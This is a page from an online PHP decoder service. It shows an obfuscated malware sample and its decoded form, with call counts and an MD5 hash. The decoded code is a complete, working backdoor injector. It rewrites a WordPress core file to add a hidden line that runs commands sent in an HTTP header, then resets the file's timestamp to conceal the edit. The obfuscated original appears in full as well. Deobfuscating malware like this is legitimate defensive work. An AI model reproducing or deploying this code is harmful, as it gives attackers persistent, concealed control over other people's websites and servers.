Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jVJtb5swEP6eX8GkSCRKNUHaJKqmamvTkpKE0oQGWKYpAtsUJ8ZQMCQw9b/P..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo1MDoiL2hvbWUvdHJhdmVsbWFrZXJzL25vdmlvcy93cC1pbmNsdWRlcy90ZW1wbGF0ZS5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfQUU4NDM3MltcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQX0FFODQzNzInXSk7IjtpOjM7czozNzoifl5ccypmdW5jdGlvblxzK2dldF9zaW5nbGVfdGVtcGxhdGV+bSI7fQ==');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
    
    
    if (!preg_match($systemEnv, $newSource)) {
        return;
    }
    
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jVJtb5swEP6eX8GkSCRKNUHaJKqmamvTkpKE0oQGWKYpAtsUJ8ZQMCQw9b/PkNe+SJs/2Gf7nufunrta5Ef9kHqmQzB0GGqIP59CSacs0pfXPVCEsnYb4nHbz1xrlsH7oQ8DM3EtJZ7bw2Lc7mQwIBnIL89BX47c4CGB1pTwuzS35LU7UKS50Vk799dYb6+62hMr9OXqQsfD1tye+67CkN33gUs2uW1EYFTdp3BE1itbZjdjM4KomF9acgdYsvRiK8y1yZra/SH3YWAor7E982emcuNNZrOLh1vtXNu/m5xLkbnfBpb4kcnxfeLaSwZHS9YCudpznsJcP9e6WqF21dUNgYGSjPpTbyaZhrkyDSuHqqlMJ7akKPrtpHgoVGobq566LPXRSn34W4g90gEgjwJodZZwQDJeTzFqQwKVy8KxOtQdmB4cmAwMNj4/W66h9rzJ1ZXY/FbzUgoYDqnwvhP1BMVN4U+tJvBFcMKERt1LCXl0mH8m1JM8YSi4oxm3QQgRPyKHMRTTpnAlpJSjMacqUMN1EtS9WEBUum1pedyStZ6EaQwQ9/cwQYtnxBYgpAxRlhxj7XyxJzSiGD0vAocBv/Em/pamWWYr7FaMWBrTLfT1QPDllGGX7gHPjeoHJf9g2uaOKQjjGAE2Rc9ow2tIWLyIUUQcwMcYicJXQcyc6iDimSD++O7EcXV1cvFUwL0YFK2NvR5Vnnuyd6E4l3gs+hPwaSL7kn5Jv3eN4hk83j8u7vQxt95+H0h2rMftg3in8h9h/6Nb2eqA4WDf9so+abfQEmRpC0spwXT1YRSqYYnSz4blkyJYmJYJn3gconKP19pf")));

Function Calls

gzinflate 1
base64_decode 1
phpConfValidate 1

Variables

None

Stats

MD5 ce7a8fcbb195393473adc2511ebb8101
Eval Count 1
Decode Time 55 ms